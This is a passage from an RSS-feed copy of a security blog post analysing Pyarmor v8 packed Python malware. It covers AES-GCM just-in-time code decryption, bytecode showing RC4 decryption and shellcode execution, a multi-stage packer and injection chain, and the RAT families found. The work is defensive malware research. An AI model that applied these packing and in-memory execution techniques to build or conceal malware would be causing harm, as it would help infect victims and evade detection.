    &lt;span class=&quot;n&quot;&gt;cryptsize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cryptstart&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;assume12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assume12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_aad_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptstart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptstart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks similar enough to what we’ve seen before, right? It’s AES-GCM again with the same key.&lt;/p&gt;

&lt;p&gt;Based on how the parameters are used in the GCM functions and what we deduced earlier, we can tell that the bytes string we saw in the bytecode starts at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;args + 32&lt;/code&gt;.
The GCM IV location is obtained through a series of offsets computations.
In our case, it was always located right after the ciphertext.
Unlike earlier, the IV bytes are not split up.
However, there seems to be some capability to run the IV through an additional function for unknown purposes (possibly to mutate it?).&lt;/p&gt;

&lt;p&gt;Essentially, what we’re dealing with here is just-in-time decryption.
The code is decrypted, executed, and then re-encrypted.
This means that functions that are not currently being executed are not available in plaintext even if you dump the process memory.&lt;/p&gt;

&lt;p&gt;We decided to write a script that parses the code objects, extracts the bytes string to find the ciphertext and IV, and generates a file that basically describes where and how to apply GCM in the raw decrypted script.
This description can then be used by a normal Python installation in order to do the decryption (it seemed prudent to use our modified Python as little as possible - in particular, we didn’t feel like attempting to run Pycryptodome on it).&lt;/p&gt;

&lt;h3 id=&quot;finally-decrypted&quot;&gt;Finally decrypted&lt;/h3&gt;

&lt;p&gt;Here’s the decrypted continuation of the bytecode we had earlier:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMPORT_NAME&lt;/span&gt;              &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;34&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMPORT_NAME&lt;/span&gt;              &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;42&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rc4_decrypt&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5e6298eb3bd0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen JAN-X1&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;46&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAKE_FUNCTION&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rc4_decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

 &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;execute_shellcode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5e6298ec0560&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen JAN-X1&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;52&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAKE_FUNCTION&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;54&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute_shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

 &lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PUSH_NULL&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_NAME&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute_shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CALL&lt;/span&gt;                     &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;68&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;POP_TOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;70&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;74&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;76&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;78&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;JUMP_FORWARD&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;118&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;followed&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pyarmor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leave&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function references that can be seen here do exactly what they say.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execute_shellcode&lt;/code&gt; function contains a huge base64-encoded string, which is decrypted using RC4, allocated as executable memory using Windows APIs, and then jumped into.&lt;/p&gt;

&lt;p&gt;So in the end, we don’t have “real” Python malware here, just a somewhat unusual malware packer.&lt;/p&gt;

&lt;h1 id=&quot;the-actual-malware&quot;&gt;The actual malware&lt;/h1&gt;

&lt;p&gt;The question remains - what malware did they try to infect us with?&lt;/p&gt;

&lt;p&gt;One thing is for certain: the amount of layers the malware is packed in is slightly ridiculous.
Whenever we unpacked one stage, we’d be faced with another packer and the payload got smaller and smaller, to a point where we wondered if anything would actually be left. In the end, the chain turned out to be this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Pyarmor&lt;/li&gt;
  &lt;li&gt;Shellcode (packer)&lt;/li&gt;
  &lt;li&gt;Injector generated by &lt;a href=&quot;https://github.com/capt-meelo/laZzzy&quot;&gt;laZzzy&lt;/a&gt;, injects into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notepad.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Shellcode (same packer as before)&lt;/li&gt;
  &lt;li&gt;.NET malware (sometimes also packed with additional .NET packer).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you count the initial dropper stages, the list is even longer.&lt;/p&gt;

&lt;p&gt;A comprehensive malware analysis would be out of scope here, and frankly, not that interesting, so we’re just going to leave you with some screenshots for code impressions.&lt;/p&gt;

&lt;figure id=&quot;dotnet1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/dotnet1.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/dotnet1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/dotnet1.png&quot; alt=&quot;&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/dotnet1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/dotnet1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/dotnet1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 6: This specimen is a variant of the XWorm RAT&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;figure id=&quot;dotnet2&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/dotnet2.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/02/dotnet2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/dotnet2.png&quot; alt=&quot;&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/dotnet2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/dotnet2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/dotnet2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 7: PureHVNC RAT, stealing crypto wallets and browser data. It also collects basic info about your system, including whether a camera is plugged in&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;figure&gt;

  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Filename&lt;/th&gt;
        &lt;th style=&quot;text-align: left&quot;&gt;Malware family&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAdate.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;DcRat&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FAScis.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;AsyncRAT&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GXrop.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;XWorm RAT&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HPUope.py&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;text-align: left&quot;&gt;PureHVNC&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;

  &lt;figcaption&gt;Figure 8: Types of malware used in the campaign&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The other set of files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BArown.py&lt;/code&gt;, etc.) contains the same malware - the Python files have different hashes, but the final unpacked binaries are identical.&lt;/p&gt;

&lt;p&gt;In one of the next installments on this blog, we’re going to talk about .NET obfuscation, so stay tuned!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;GitHub repo with scripts developed for Pyarmor: &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&quot;&gt;https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Updated on April 4: We’ve identified the previously denoted as unknown sample &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HPUope.py&lt;/code&gt; to be PureHVNC.&lt;/p&gt;
</description>
        <pubDate>Wed, 12 Feb 2025 13:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/</guid>
        
        <category>python</category>
        
        <category>pyarmor</category>
        
        <category>unpacking</category>
        
        <category>malware</category>
        
        <category>packer</category>
        
        
        <category>blog</category>
        
      </item>
    
  </channel>
</rss>
